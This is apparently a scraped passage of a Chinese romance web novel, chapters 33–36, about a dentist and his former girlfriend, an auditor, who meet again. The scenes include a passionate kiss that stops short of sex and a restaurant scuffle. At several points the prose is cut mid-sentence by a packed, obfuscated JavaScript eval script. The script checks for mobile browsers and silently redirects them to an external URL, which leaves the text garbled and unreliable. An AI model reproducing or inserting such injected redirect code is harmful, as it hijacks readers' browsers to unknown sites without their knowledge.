灯光大亮,换好了鞋的孟懿已经从鞋柜里取出了一双男士拖鞋躬身放在她的面前。 不知刻意还是无意,孟懿解释着:“家里没有女士拖鞋,你将就穿一下。” 就差明说他还是独身一人了。 踏着明显不合脚的拖鞋,元知知终于看到了孟懿居所的全貌。 房子是三室二厅的普通格局,但小区所处地段是华清市寸土寸金的中心位置,这么一间一百多平的房子已经算得上大了。 现代化的装修风格,整个屋子的家具都是冷灰的色调,每一个物件都摆放的恰到好处,即使已经数日没有住人仍然纤尘不染。 落地窗前没有任何遮挡,繁华的华清夜景在稍远处被尽收眼底,而近处的居住区环境清幽而安静。 比起“家”这样一个温暖的词汇,元知知觉得这间屋子更像是一间样板间,明亮的白炽灯打在整齐的家具上,她环视一圈,看不出丝毫孟懿曾生活过很长时间的痕迹。 “新买的房?” 孟懿从厨房取了两瓶瓶装水回来,略奇怪的扫视了一圈:“住了大概有五年了。” 毫无个人气息,就连厨房也不染生活的烟火气,学生时代的宿舍大概也比这更像一个家。 她无法从中窥探任何孟懿独自生活的过去,更无法探知他这些年到底过得好与坏。 或许没有那么好吧,这不像是一个能真正把自己照顾好......的私人空间。 “两间淋浴,你用外面这间吧,热水开右边,冷水开左边,一次性洗浴用品都放在洗手池的收纳台上了,还缺什么给我说一声。” 元知知抬起手指向他提进来的两个包:“我带了洗浴用品。” “抱歉,忙起来忘了,那你先洗吧,我去收拾房间。” 房间门被关上,他进的却不是客房,而是自己的主卧。 “咚咚。” “进。” 孟懿放下手上的衣物,转身看向门口的女人。 “缺什么东西?” 地上未拉拉链的行李包咧开了一条宽大缝隙,整齐摆放着换洗衣物。< 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心脏漏跳了一拍,这个夜晚温度宜人,称得上凉爽,但元知知的双手沁出了一层薄汗。 这里应该是孟懿的书房,相比房子其他地方来说这间书房反倒最具有生活气息。 摊开的书册、还有压在泛黄纸页上的笔、并不很整齐的摆件以及排列不一的书架。 元知知斜倚在桌边,一时间像进入了孟懿真正的居所。 她无意过多窥探属于他的隐私,正欲转身,视线被书架上一闪而过的晶莹牢牢攥住。 他们在一起过的第一个情人节元知知着实苦恼了好几天,孟懿什么都不缺,要选一个合适的礼物很难不落俗套。 最后她找了个手工作坊,做了一个水晶球。 也很俗套,制作更是粗糙,但里面装着的是她亲手做出来的干细胞分子形状的模型。 老板一言难尽的看着这个有些怪异的水晶球,元知知精心挑选了一个包装盒:“送给未来医学生的,老板你知道的,他们学医的爱好总有些特别。” 这个收获了众多奇怪目光的礼物就这样送到了孟懿手上。 如果不是怕压坏,那个晚上他甚至想抱着这个粗糙的水晶球睡觉。 这事现在想来仍觉得有些好笑。 待她回过神来时元知知已经走到了书架跟前,那颗水晶球径直撞入了她的眼睛。 它被装在一个透明的玻璃盒里,底座与盒子底部的形状严丝合缝嵌合起来,即使不小心摔下来也能被稳稳固定其中不致碎裂。 它被主人保护的很好。 “你在这里干什么?” 元知知转身,孟懿一眼就看见了她跟前的水晶球。 瞳孔一缩,门把略略嵌入掌心。 浴巾外的肌肤还在滚着水珠,一滴一滴顺着珠圆玉润的脚趾落在地上。 元知知想,再这么站下去这红木地板可能要被她身上的潮气泡的鼓包了。 她走近孟懿,为他拨了拨额发。 两人吻在了一起。 33. 第 33 章 气息混杂交织,元知知双手收成拳抵在孟懿胸膛前,本是推拒,骨头却越发酥软,手掌渐渐摊开,拒绝的指节重新朝向她自己。 掌心很轻的搭在他的肩膀处,她仰着头,承受着来自他霸道到不容抗拒的力道,仿佛狂风暴雨般卷走她的气温和呼吸,唇齿相依间一点晶莹的香津若隐若现。 女人细腻的手臂上移,不知什么时候已经搂住了男人的脖颈。 浴巾在动作间有亲微的松动,因着孟懿揽住她的力道才不致滑落。 但宽大的手掌仍然落了大部分在她的后背肩胛处,元知知趁着每一个空隙急促喘息着,但微弱的呻.吟很快又被衔入另一个人的口中。 赤裸肌肤上的手像点火的引子轻轻捏着她瓷白皮肤下凸起的漂亮骨节上,元知知鸦羽微颤,揽住他的手不自觉紧了紧。孟懿喉结一滚,随即更凶的吻铺天盖地而来,像要将她吞入腹中。嘴唇温度有些冰,唇内的温度却火热灼人。 她睁眼迷蒙的看了他一眼,很快被那双黑眸里惊人的欲望和渴求慑住了心神。 孟懿接吻时没有闭眼。 他就这样贪婪的将她每一个情动的表情刻入眼底,黑黝黝的眼睛像是小小的牢笼将元知知彻底囚在其中,这不是她第一次直面他强烈的占有欲。 他们对视着,谁也没有停下,攻城略地般在牙关内纠缠。 额头与鼻尖相抵,孟懿很快退出些许,但说话时仍然像是贴着她的嘴唇:“走神了?” 元知知这才从他墨色浓郁的眼里回神,“没,唔——” 极具攻略性的撕咬研磨,粗鲁又挑逗,带着尾音的轻哼声从唇齿间溢出,她已经彻底将他刚刚的眼神抛诸脑后。 他们的身体一向契合,即使多年不见,也能轻而易举挑起难耐。 整个书房内已经被喷张的荷尔蒙满溢。 孟懿的手已经拉住她本就摇摇欲坠的浴巾。 他们倒在冰凉的红木地板上,就连地板也被体温熏染起了热气。 他的手抵在她的后背,让她不至于被硬木硌到,但她的眼神还是骤然清明一瞬,元知知摁住了孟懿的手,他停住了动作。 浴巾已经半解,他的衬衫也在胡乱中被扯掉大半的扣子,结实流畅的肌肉线条正悬在她的上方。 元知知的呼吸仍不均匀,喘息着低语道:“一个成年男人在深夜突然邀约另一个成年女人,孟懿我还真当你是什么正人君子呢。” 孟懿低下头,舌尖极轻的舔舐着她的耳侧,片片湿濡让她耳尖发痒,她侧头避开了。 “可你还是答应了我的邀请不是吗?” 穿着白大褂的孟医生是禁欲的专业的,但元知知早已见识过他另一副模样。 初尝禁果的十八岁,少男少女的青涩像燎原的星火,从此一发不可收拾,那时年轻气盛的他们只是一个蜻蜓点水的吻也能瞬间无法自已,燎动起将彼此相融的火。 十年过去了,这把火在唇齿相接间又像是要烧尽理智般的燃了起来。 不,孟懿盯着她,早在诊室里一眼认出她时,一切都重新焕发生机了。 或许说是死灰复燃更合适。 元知知推了推他,示意他起来,但肌肤想接的温热仍未褪去,他的呼吸声贴着传入耳廓时比她自己的更清晰:“为什么?” 她垂眸,未看他的神色:“什么为什么?” “你对我明明不是没有感觉的对吗?无论是十年前还是现在,为什么要一次一次推开我。” 孟懿口吻笃定,信誓旦旦,即使心中有猜测,但仍胆小的不敢断定她还爱他,就连“喜欢”这个字眼也不敢触及。 但她还是残忍又直白:“我不爱你了孟懿,就像你也早就不爱了不是吗?” 她终于抬眸看他,两人的距离无论谁朝前分厘嘴唇就要再度碰上,但刚刚暧昧的气氛已经散去了七八分,火热的空气逐渐被冷凝取代:“这是你亲口说的,你别忘了。” 他咬牙切齿又有些受伤道:“你刚刚,身体明明对我——” “我们都是成年人了,正常的生理反应你应该不陌生。” 孟懿终究是退开了,她被扶了起来,浴巾已经重新紧紧系好。 两人的嘴唇都有些异常的红肿,元知知抿了抿唇,能感觉到一些火辣辣的痛感,这人像是属狗一样,时隔很久再接吻仍旧啃咬的那么凶。 推开房门,她的面色已经重新归于冷静,火热的潮红只残留在雪白的颈子和唇沿上:“我先去休息了,你……也早点休息吧,明天还要上班。” 就在将离开时背后重又响起男人的声音:“为什么?当初为什么要提分手?” 他又一次问出了这个问题,她转头深深看了他一眼,随即再不迟疑的离开了书房,他仍旧没能得到答案。 孟懿咬牙,伸手碰了碰自己的唇,女人特有的香味似乎还残存在上面,他冷笑:“你迟早会承认的。” 你根本就没有放下我。 客房的门被合上,元知知面上的冷静与淡漠碎裂,她附耳在门上,只听见防盗门砰的一声,大概是男人离开家回医院去住了。 下意识的,她松了一口气,心底深处的慌张也终于脱去掩饰的浮现出来。 刚刚的孟懿,实在像一只胜券在握的野兽,她几乎以为自己的内心被他彻底看清楚了。 右手抚上仍旧殷红的唇,刚刚那激烈碰触的记忆再度回笼,左胸腔里的心脏砰砰直跳,在不算大的房间里发出清晰跳动声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049481|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 孟懿对她来说已经变的越来越危险了。 微信声音噔噔响着,她点亮屏幕,是新闻推送的消息。 “孟氏董事长透露交班意愿,或将任命新任总裁,集团掌舵权将花落哪位公子?” 是娱乐新闻的报道,但并非空穴来风,近期关于孟氏集团的舆论不少。 孟懿是孟老董事长的独子,比起孟家小辈里的海归精英、创二代或是早早接手部分生意的商业新贵们,他却只是一个普普通通的牙医。 高中时大家都知道孟懿是有钱人家的儿子,等到他们在一起时她才真正详细的知道了他的家庭。 她那个时候还开玩笑道:“你们这种豪门家庭会不会看不上我,看新闻你们的婚姻不都是父母安排的?” 孟懿一把捏住她的脸,带着少年的坏心眼,在她憋不住气张嘴的一瞬间俯身,轻易就攻略了牙关。 一个绵长温柔的吻结束后他才无奈道:“你想多了,他们没法控制我。” 青春少年时即使知道自己的对立面站立着怎样的庞然大物也不会惧怕与退缩,他们对未来信心满满。 此刻再垂头看着手机里的新闻,孟家这一代年轻人里已经有不少人在商界小有名气,他们都是孟氏未来接班人的潜在人选。 但这里面绝没有孟懿。 元知知心拧紧了,客房里的床单是新铺上的,带着淡淡的洗衣液香气,很好闻。 但一直到后半夜她才真正睡着。 - 口腔科的蔡医生表白失败了,大家心照不宣的对这个事实闭口不言,最开始两天两边同事遇上不小心提及时都难免有些尴尬,但中午食堂里两人都还能面不改色的坐在一起吃饭,气氛甚至还算得上和谐。 出乎所有人意料,真正不和谐的竟然是孟医生和元知知。 他们之间冷淡的氛围就连空气中的水蒸气都能冻住了,大家仔细一回想,好似也是从聚餐那夜之后两人就变成了这样。 具体发生了什么,谁也不知道。 就连表白失败的俩人都还能和睦相处,怎么这两个看起来反而像是情感纠葛的主角。 眼看着章汝舟打了好几天眉眼官司之后元知知终于忍无可忍,敲敲她的电脑屏幕:“搞什么?仗着自己要辞职了工作都开始走神了?” 章汝舟咧了咧嘴角:“哪敢,以后要是找不到工作还得回来找‘元经理’收留我。” 元知知哼笑,没等一会儿果然章汝舟自己先忍不住了,好奇的问道:“你和孟医生到底怎么回事?之前还好好的,最近我怎么越来越感觉你俩有问题呢,那感觉就像——” “就像前任见面,分外眼红。” 元知知呛了一口咖啡。 34. 第 34 章 李杭、陈骏驰和孟懿三人再度聚在一起时是孟家的家宴。 说是家宴,但庭院中几家经过严格挑选的媒体早已架好了设备,来往宾客也尽是各界名流,至于这个家宴里的孟家人,顶着同一个姓氏心离得比外人还远。 陈骏驰普通家境,李杭家里倒是不差,这次赴宴干脆把他也带上了。 三人这才得以聚首,但人多眼杂,这样的场合反而更不好说什么话。 光听李杭哭诉自己前女友跑了去考研的事情了。 说到动情处还恨恨捏紧拳头,随即又发起怔来。 陈骏驰揉揉耳朵:“听说杭儿去那女孩儿大学找她,等了七天连个面都没见着,所有联系方式都被拉黑,成天连自己都没心情了打理胡子拉碴的,今天已经是他最体面的一天了。” 但看起来还是很憔悴。 孟懿冷哼:“这就是不珍惜的后果,你应得的。” 李杭俊朗的面孔掩饰不住自己的受伤,显然不是为了两个兄弟的话,而是又想起了他的前女友。 陈骏驰掩盖不住好奇心,侧头问孟懿道:“就像你那初恋不珍惜你一样?怎么?她现在也跟杭儿一样后悔了想求你回头了?” 孟懿面色稍僵,随即淡淡道:“不要拿她跟杭儿相提并论,她是一个对感情很认真的人。” “行行行,她很珍惜你,那她当时怎么突然跟你断崖式提分手。” 他抿唇,唇线很快被崩成一条直线,沉默好半晌后才道:“她有自己的苦衷。” “得得得。” 陈骏驰晃晃红酒杯,无奈看着这个嘴硬的好友。 孟懿眉头皱了起来,似是不愉:“我是认真的,不要这样说她。” 陈骏驰见他神色认真,及时换了话题:“你舅舅前些日子不是住院了吗?最近怎么样了?” 听他提起从小抚养自己的舅舅,他脸色缓和了些:“已经出院在家修养了一段时间了,恢复的还不错。” 没聊一会儿,他们被前来搭讪的客人打断,李杭也终于回神,来人是一个中小型科技企业的老板,规模虽不大但依仗着政策扶持发展势头不低。 但开宴这么久,到他们这一片休息区来的也就这么一个小企业家了,就连冲着李杭的私人医院公子身份来的宾客也比冲着孟懿来的人多。 李杭觑着孟懿神色:“你爸这是存心要把你孤立起来啊,外界居然没有几个押宝你这个唯一亲生儿子的。” ”你说你当时要是安安心心出国去上那什么商学院,不来咱医学院学口腔你爸肯定也不会这么生气了,学医多苦啊。“ 孟懿反倒不在意,摩挲着从锁骨处垂下的链条:“他不是气我学了医,只是气我不听话而已。” 李杭家里没有这样大的家族,自然也少了很多烦恼,闻言有些可惜:“那你爸气性挺大。” “当个普普通通的医生挺好,我很知足。” 不知想到什么,他嘴角浮现的笑意将另外两人惊了一惊。 能遵循内心违逆父母选择报考医学院,这样的勇气源自于元知知。 - 元知知怀疑最近是在水逆期,就像是与“前任”这个物种缠上了一般。身边的章汝舟茫然的盯着眼前穿着体面的男人看了好一会儿,才依稀想起来些许,低声告诉她这似乎是她大学时谈过的男朋友。 章汝舟那头已经和记不清姓名的前男友聊了起来,元知知边等菜边注意着那边的情况。 中午的火锅店人多嘈杂,三三两两人群一过视线就被遮挡片刻,待她的视线再抓住站在门口的两人时很快就发现了情形不太对。 章汝舟翻着白眼,男人倒是情绪有些激动,似乎是产生了什么争执。 眼见着那“前任”几次想要上手推搡时元知知终于坐不住了,三两步赶到门边。 “我和她睡的时候你已经提了分手了!” “可那是在吵架不是吗?当天晚上你就和她睡了,你这就叫没出轨?” 声音越吵越大,即使在火锅店里也分外明显,元知知拉住了情绪越来越激动的章汝舟:“冷静点,咱们去吃饭。” 没听清她前任说了些什么,她上前了一步争辩着,和甲方财务经理掰扯文件数据的时候都没有见过章汝舟这么恼怒的气势。 男人竟是被她说的急了眼,在半空中高高扬起了巴掌像是要动手扇她。 元知知情急之下也顾不得那么多,当即握住了他的手臂拦住了动作。 许是情绪上头,男人下意识想挥开她,不曾想一个女人竟然有这么大的力气,又见章汝舟情急的想把这女人拦到自己身后护着,羞恼之下一把朝她搡去。 元知知是穿习惯了高跟鞋的,但也挡不住被人顺着力道猛地一推,人群中传来惊呼声时她已经感觉到了失去平衡。 火锅店冷冰冰的瓷砖地倒映着她倾斜的身影,她闭上眼睛等待疼痛的降临,但落入的是一个算不上柔软但很熟悉的怀抱。 和那天夜里孟懿家有着淡淡香气的被套一个味道。 悬着的心落到地面上,她撑着他的胸膛站直身体。 章汝舟早被这一变故吓得大惊失色,见她安全这才感觉力气重新回到身体里,围观人群都还没反应过来她已经甩了那男人两耳光。 男人脸涨得通红,因而也就看不出两个纤细匀称的巴掌印了,被孟懿钳制住的腕骨像要被捏碎,他攥紧了手想挣脱,这时才发现这个突然出现的男人力道的恐怖。 在社会摸爬滚打这么些年他也算事业有成,今天若不是遇到了章汝舟这个跟他八字相冲的女人也不至于在大庭广众下如此失态,眼见着情势不利,没有丝毫犹豫与不甘的就道了歉认了错。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096009|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 章汝舟查看元知知情况时眼泪已经包在眼眶里了,她不停确认着她的安全,生怕留下了一丁点磕伤碰伤:“对不起对不起,都怪我,如果不是我冲动了......” 声音抽噎一下,她还是没忍住放任自己小声抽泣起来:"你说我读大学那会儿怎么就鬼迷心窍谈了这么个人,还差点连累你......" 元知知看出来了,这一哭一半为对不起她哭,一半为自己的委屈哭,章汝舟和那个男人间曾经的纠葛也轻不了。 围观群众渐渐散去了,元知知揽住了她的肩膀:“好了好了,是是非非都过去了,谁还没几段年少无知的恋爱了?” 孟懿眸光微闪。 章汝舟重重点头,转而向始终站在一旁未打扰她们的孟懿道:“今天的事幸亏有孟医生在,你吃了吗?要不要跟我们一起吃一点,我请客。” 孟懿唇角微抬:“不用了,今天也是和人有约。” “行,是我犯蠢了,都来这儿了孟医生怎么会是一个人,那改天我单独请你吃饭。” 他礼貌微笑,没有应和下来。 元知知腾出一只手将零碎的鬓发别到了耳后,面向他:“今天谢谢。” 孟懿的目光从章汝舟的脸挪到了她的脸上,眼光渐黯,抛出的话让她猝不及防:“原来元老师也有过几段年少无知的恋爱,还真有些好奇到底是什么样的人能入了像元老师这样出众人物的法眼。” 章汝舟闻言笑道:“知知眼光比我好,遇到的人都不错。读研我俩一个学校,当时我系著名高岭之花就被她拿下了,要知道这博士师兄长得帅、科研好、家境也好,关键一路硕博过来都没谈过恋爱,结果一遇到她铜墙铁壁都瓦解了。” 元知知暗暗咬牙,章汝舟这张嘴除了在工作上面临保密原则能管住之外,其他时候都让人恨不得手动缝住。 藏在尖头高跟里的脚趾微微蜷缩,她不得不挂上谦虚笑容:“没有没有,是因为我们系男生少,只是一个为人还不错的师兄,没有那么夸张。” “为人还不错吗?”他抬眸瞥了她一眼。 元知知刚才过来的急,两人的包都还放在餐桌边,章汝舟没聊上两句就先朝她们的桌号走去了。 而就是这几句让孟懿问了个干净,他从来就没有存在过她的嘴里,她的朋友们从来都不知道青葱的高中时代还有一个初恋的存在。 他仍旧在笑,连弧度都没变,但莫名有些咬牙切齿的意味。 “看来元老师这些年过得挺精彩的。” “孟懿,火锅已经开了,你还站那干什么?” 娇俏的女声自不远处传来,两人齐齐侧头去看,是一个长相甜美身材火辣的女人。 而孟懿根本没有年龄相近的姊妹。 元知知面上的笑容也几近冷淡:“原来孟医生过得也不赖。” 35. 第 35 章 她回到自己那一桌时章汝舟也正探头探脑看着孟懿那一桌的女人,满眼好奇:“孟医生这是有约会对象了?” 元知知正数着秒数烫毛肚,再夹起来时已经烫过了时间,变得老硬难咬。 “不知道。” “诶,该不会是相亲对象吧,”章汝舟若有所思,“不对,哪有带相亲对象来吃火锅的。” 话题草草揭过,她自己的烦心事还不少,打起精神闲聊那么两句已经勉强,她很快把自己的猜测抛诸脑后。 这顿饭结束的很快,她们不约而同的没太多胃口,坐下没多久就起身结账了。 章汝舟用胳膊碰了碰元知知:“诶你看,孟医生那桌怎么也吃这么快?” 收银台背面的饮料玻璃柜上倒映着身后的场景,孟懿弯臂上搭着一件外套朝她们的方向走来,像是也结束了用餐过来结账。 “18号桌结账。” 元知知不动声色的倾斜了腰身,18号桌的甜美女人还在烫着肉片,不像是已经结束用餐的样子。 “孟医生我们就先走了,你们慢慢吃。” “等等。”孟懿收起付款二维码,大步追上她们,“忘了开了车来,喝了点酒,可能要麻烦两位女士帮帮忙了。” 章汝舟愕然:“我还有其他约,现在还不回华清一院,大概不太顺路。” 两人的目光一齐对向元知知,她支起下巴点了点18号桌的方向:“或者你也可以麻烦那位女士帮忙。” 孟懿手上的外套已经换了一只胳膊搭,“我有事需要先走,她不跟我一起。” “喝了酒还能有什么急事?” 章汝舟挽住她的胳膊,面露乞求小小声道:“孟医生刚刚毕竟帮了我,你就当帮我一个忙嘛。” 他的车钥匙已经摊开在了手掌心,元知知最终还是抓了过去,柔软的掌心被指甲刮得似痛似痒,像被猫爪挠过一样。 燥热的初夏滴起阵阵小雨,打落在车顶上发出噼啪声响,随即顺着车窗蜿蜒滑下。 车内的香薰不知道是什么味儿的,清新雅致、毫不刺鼻,与雨滴的白噪音共同营造了一个舒适到让人昏昏欲睡的氛围。 但声称自己醉了酒的人看不出丝毫困意,他懒懒倚在副驾驶靠背上:“今天那个女人是我舅舅介绍的相亲对象。” “这些隐私不用告诉我,孟医生,我也不感兴趣。” “是吗?”他慢条斯理捻着自己脖颈上的挂坠,却没有停下话头:“我舅舅前些日子大病一场才出了院,不想在这个时候让他为我担心,所以今天才会答应来见一面,但只是见一面而已。” 孟懿侧头认真盯着她:“我从来没想过相亲,今天饭前就已经和她说清楚了。” 几辆轿车在医院大门的自动升降杆前排起了队,他们的车也短暂的停留在雨幕里。 元知知松开方向盘,稍稍调整了一个舒服些的坐姿:“和我说这些做什么。” 孟懿侧过了半边身体,伸长手在后座够了一个抱枕塞在她的腰后,她霎时感觉腰背处省力了一些。 “因为怕你误会我和她的关系。” 她别开了脸:“不就是相亲对象吗?我没有什么误会的。” 余光瞥不见他的表情,只听孟懿语气轻松的说道:“看来你有猜测过我们的关系。” 他话语中的愉悦不难分辨,元知知面色凝滞,生出些懊恼,既是恼自己,又是恼他自然流露的情绪。 她终是忍不住看了他一眼,周身气质仍然凌然,但整个人眼角眉梢都微扬起来。 前面的汽车已经一辆辆驶入华清一院的大门,黑色雷克萨斯窗外的三角枫也缓缓倒退。 “去门诊部还是回宿舍?” “回宿舍。” “不是说回医院有事要处理?” 孟懿微挑眉峰,再度直勾勾看着她,忽地笑了:“因为不打算和她有其他发展,所以我找了借口离开。” 今天的孟懿直白的让元知知头皮发麻,强烈的进攻性让她微微不安。 自从那天在他的家里险些擦枪走火以后,她就一直没法自然的面对他。 别人都猜测他们俩之间闹了矛盾,但只有她知道这几天他们两人间是她单方面的刻意避开,孟懿反而更频繁的出现在她眼前。 心跳没法欺骗自己,她亲眼看着自己的盔甲一点一点在瓦解,内心深处的恐惧则与这样的瓦解做着斗争。 他们之间不会有好结果的,好在这个信念从未被动摇。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117140|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >至少元知知是这么告诉自己的。 “车钥匙。” 夏日的天阴晴多变,进医院前还下着小雨,现在下了车又是晴空万里了。若不是地上坑坑洼洼积攒的小水洼,恐怕还要以为刚才那场雨只是一场幻觉。 两人在楼梯口分开,孟懿从她的手上接过了车钥匙,单手插兜朝自己宿舍走去。 “啪嗒”金属与地面相撞的声音。 元知知循声看去,是一条挂着金属圆坠子的链条,她有印象,上次见到它时是在孟懿的车前镜上挂着,他好像很在意很紧张这个东西。 她蹲下身拾起卷成一团的链子,正欲叫住那个信步而行的背影,声音却卡在了喉咙口。 像她那日猜测的一样,这个金属圆坠子是两个镂空半圆组成的,像老式怀表一般可以揭开,内里另有洞天。 很小的凹槽里,她看见了一张被修裁得宜正正好放入其中的照片,很熟悉又陌生的一张脸,是高中时还很青涩的元知知。 高马尾,尖下巴,宽大的校服兜着细长的脖颈。 她都快不记得这张照片了,似乎是高二时拍的证件照,后来做优秀校友榜征集照片时她就把这张照片发给了老刘,至今还在华清一中的光荣榜上挂着。 分手时她把孟懿手机里关于自己的一切都删了干净,他也只能从学校找到这一张照片了。 少女的脸颊不施粉黛,形状优越的山根处一颗恰到好处的美人痣,这张照片却模糊到连痣也彻底看不清楚了。 “不打算把我的东西还给我了?” 元知知抬头,孟懿不知什么时候已经折返了回来,正双手环臂懒懒倚在墙边睨着她。 她飞速合拢了吊坠,若无其事递给他,像是从来没有看到过那张照片一样。 他没有让她等太久,东西很快回到了他的手上。 “刚刚看了那么久,好看吗?” 元知知瞳孔微颤,很快反应过来:“你是故意掉的。” 他神色却未有丝毫变化:“如果你觉得是的话。” 故意丢下被他珍之重之的照片,故意让她看到,元知知不敢揣测照片背后的含义,更不敢深思他这样做的意思。虚伪的和谐摇摇欲坠,没得到承认的心意呼之欲出。 36. 第 36 章 华清一院的审计报告已经正式出具了,审计组一群人连夜买了车票回海河,章汝舟提前递交了辞职报告,其他人也终于迎来了短暂的假期。 孟懿刚从亮了四小时灯的小手术室出来时就听说审计的人好像已经离开了,匆忙赶到行政楼时他们办公了几个月的宽敞空间早就被搬了个空。 面对着空空荡荡恢复原状的会议室,孟懿嘴角竟然扯出了个笑容,说不上是不是气的,颇有些咬牙切齿的意味。 【my:躲我?】 元知知猛地按灭了弹出最新消息的手机,而后才反应过来自己其实并不需要这么心虚。 章汝舟神色探究:“这是怎么了?谁给你发消息呢。” 她侧头看向窗外,如游龙一样的高铁瞬时钻入了深山之中,窗外飞速流逝的风景被黑洞洞的隧道取代。 她故作淡然的刻意倒映在厚重的车窗玻璃上显露无余,章汝舟尽收眼底。 “你给我说实话,这次走这么急是不是躲着谁呢?” 车窗的存在让她根本藏不住脸上的神情,明明刚和孟懿重逢时还不曾有这样难以掩饰的失态,那个时候还能守着心底警惕的防线,如今…… 她有些庆幸华清一院的项目结束的及时,给了她逃跑的机会。 “只是离开家太久了,想赶紧回家好好休息一段时间,陆哥不也说想快点回去?” 陆昱这一次的确急着回海河市,但那是从大领导身边人那儿打听到近期又有一小批升迁名单了,他赶着回去走动走动。 “真不是因为躲着谁?”章汝舟半信半疑,还是不甘心的追问着。 “我能躲着谁。” “嘁,你迟早愿意说,我这双耳朵随时恭候。” 元知知拢了拢长发,感觉到孟懿给她补过的那颗牙齿有些轻微的酸痛起来了。 隔着脸颊摁了摁那颗牙的位置,也只是隔靴搔痒。 回家后大概需要再找一个牙医帮她重新看看了。 微信没有再弹出新消息,她也没有再点开这个软件,转而将目光移向了财经新闻。 孟家继承人之争再生新变,孟董的侄子和外甥陆陆续续好几个掌了子公司的权,但他们都是最终继承人的有力人选,明眼人都看得出这不过是明升暗降罢了。 不少人猜测看来孟董事长心中属意的还是那个在商界默默无闻的亲生儿子。 想起孟懿的行事,元知知心里却是捏了把汗。 - 于健、于薇和孟懿围绕着小圆桌各坐一方,除了于薇外其余两个男人面色都还算镇定。 于健有些感慨,曾经跟在自己屁股后面的小外甥如今也羽翼已丰了,和自己的母亲与舅舅坐在一起,却显得比谁都更加稳重。 尤其是于薇,他瞥了一眼面目焦急的妹妹,交叉翘着又不断点地的脚尖和反复碾磨的下唇,任谁都看得出她是什么心思。 于健给她使了好几个眼色,但她还是按捺不住的率先把话题引向今天的主题:“你爸那边怎么说?他不会真要随便选个侄子接班吧。” 孟懿转了转脖颈上的圆坠子,下意识想拨开盖子,又很快停住了动作,但照片上女孩儿若隐若现的身形还是让眼尖的于薇看见了。 “谈恋爱了?是谁家的女儿?你舅舅不是说给你介绍了两个挺不错的女孩儿,是哪个?” 孟懿神色冷了下来:“您要是闲的话,可以琢磨琢磨下次和男友约会时怎么躲狗仔。” 于薇险些把长长的指甲掰折了:“孟懿,你是怎么跟你妈说话的。” 于健把茶杯往圆几上重重一搁,发出“刺——”的一声,她被突如其来的声音吓得一抖,随即朝自己哥哥翻了个白眼。 “你要随便找个女人谈恋爱我管不住你,但结婚的话别怪我没告诫过你,除了你舅舅找的那几家的女儿,其他人想都别想。” “于薇!” 于健久居高位,面对着从小疼爱的妹妹时表情一旦冷肃起来就显得异常骇人。 她明白他这是真的生气了,嘴唇抖了半晌,终是一个字也没敢再说了。 孟懿撩了撩眼皮子,手机屏幕上显示的是科室里刚发出来的公众号推文,内容是对“正确漱口方式”的科普,他轻点了几下屏幕,这篇推文很快出现在元知知的聊天框里。 往上一翻大部分聊天内容都是他发过去的华清一院口腔科科普推文,有时候元知知会回复几个字或是一个表情,更多时候是一个标点符号也没有。 【CPA拥有者:收到】 这一次她回复的很快,短短两个字却让孟懿眉目顷刻舒展,连对面被两道黑眉吊梢着一双眼的于薇看起来都顺眼了些。 于健顿了顿,随即打发着于薇赶紧离开。 她不情不愿的站起身,习惯性的拍拍自己的裙装,生怕沾惹上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151983|135637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丁点灰尘:“孟家那边的事你可别疏忽了,否则到时候哭都来不及。” “也不知道你爸这几年有没有搞出其他儿子来,我生你一场可不是白生的——” “于薇,赶紧走。” 她冷哼了一声,再次瞪了一眼自己那个根本不拿正眼看她的亲儿子,拎着包踩着高跟噔噔噔噔走了。 于健这才深深叹了口气,面上神色也彻底软了下来。他一辈子没有结婚,到了如今也是将两个外甥当做儿子一样看待,卸去对外的光环以后面对着他瞬间沧桑了不少:“一个你一个于安许,我这妹妹始终没学会怎么当妈。” “你要是真不想相亲,也不用勉强自己,”于健看得比于薇清楚,只是有些事还是应该提醒:“不想听你妈的和门当户对的二代们结婚就算了,一场婚姻而已,在孟董那里影响倒也没有那么大。” “只是你之前说的那个医院选派去国外培养交流的项目,你如果真去了说不定就真被你爸踢出游戏了。” 孟懿神色不变:“我本来也对继承他的集团没有任何兴趣。” 